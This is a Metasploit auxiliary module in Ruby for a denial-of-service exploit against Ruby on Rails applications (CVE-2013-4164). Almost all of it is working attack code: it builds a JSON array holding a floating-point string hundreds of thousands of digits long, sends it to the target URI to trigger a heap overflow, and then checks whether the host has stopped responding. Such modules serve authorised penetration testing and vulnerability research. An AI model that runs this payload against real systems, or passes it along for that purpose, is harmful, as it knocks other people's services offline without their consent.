##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
'Description' => %q{
When Ruby attempts to convert a string representation of a large floating point
decimal number to its floating point equivalent, a heap-based buffer overflow
can be triggered. This module has been tested successfully on a Ruby on Rails application
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
crashes with a segfault error. Other versions of Ruby are reported to be affected.
},
'Author' =>
[
'Charlie Somerville', # original discoverer
'joev', # bash PoC
'todb', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4164' ],
[ 'OSVDB', '100113' ],
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
],
'DisclosureDate' => '2013-11-22'))
register_options(
[
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
])
end
def uri
normalize_uri(target_uri.path.to_s)
end
def verb
datastore['HTTPVERB'] || 'POST'
end
def digit_pattern
@digit_pattern ||= rand(10_000).to_s
end
def integer_part
digit_pattern
end
def multiplier
(500_000 * (1.0/digit_pattern.size)).to_i
end
def fractional_part
digit_pattern * multiplier
end
# The evil_float seems to require some repeating element. Maybe
# it's just superstition, but straight up 300_002-lenth random
# numbers don't appear to trigger the vulnerability. Also, these are
# easier to produce, and slightly better than the static "1.1111..."
# for 300,000 decimal places.
def evil_float_string
[integer_part,fractional_part].join('.')
end
def run
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
sploit = '['
sploit << evil_float_string
sploit << ']'
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
target_available = true
begin
res = send_request_cgi(
{
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => sploit
})
rescue ::Rex::ConnectionRefused
print_error "Unable to connect. (Connection refused)"
target_available = false
rescue ::Rex::HostUnreachable
print_error "Unable to connect. (Host unreachable)"
target_available = false
rescue ::Rex::ConnectionTimeout
print_error "Unable to connect. (Timeout)"
target_available = false
end
return unless target_available
print_status "Checking availability"
begin
res = send_request_cgi({
'method' => verb,
'uri' => uri,
'ctype' => "application/json",
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
})
if res and res.body and res.body.size > 0
target_available = true
else
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
target_available = false
end
rescue ::Rex::ConnectionError, Errno::ECONNRESET
print_good "DoS appears successful (Host unreachable)"
target_available = false
end
return unless target_available
print_error "Target is still responsive, DoS was unsuccessful."
end
end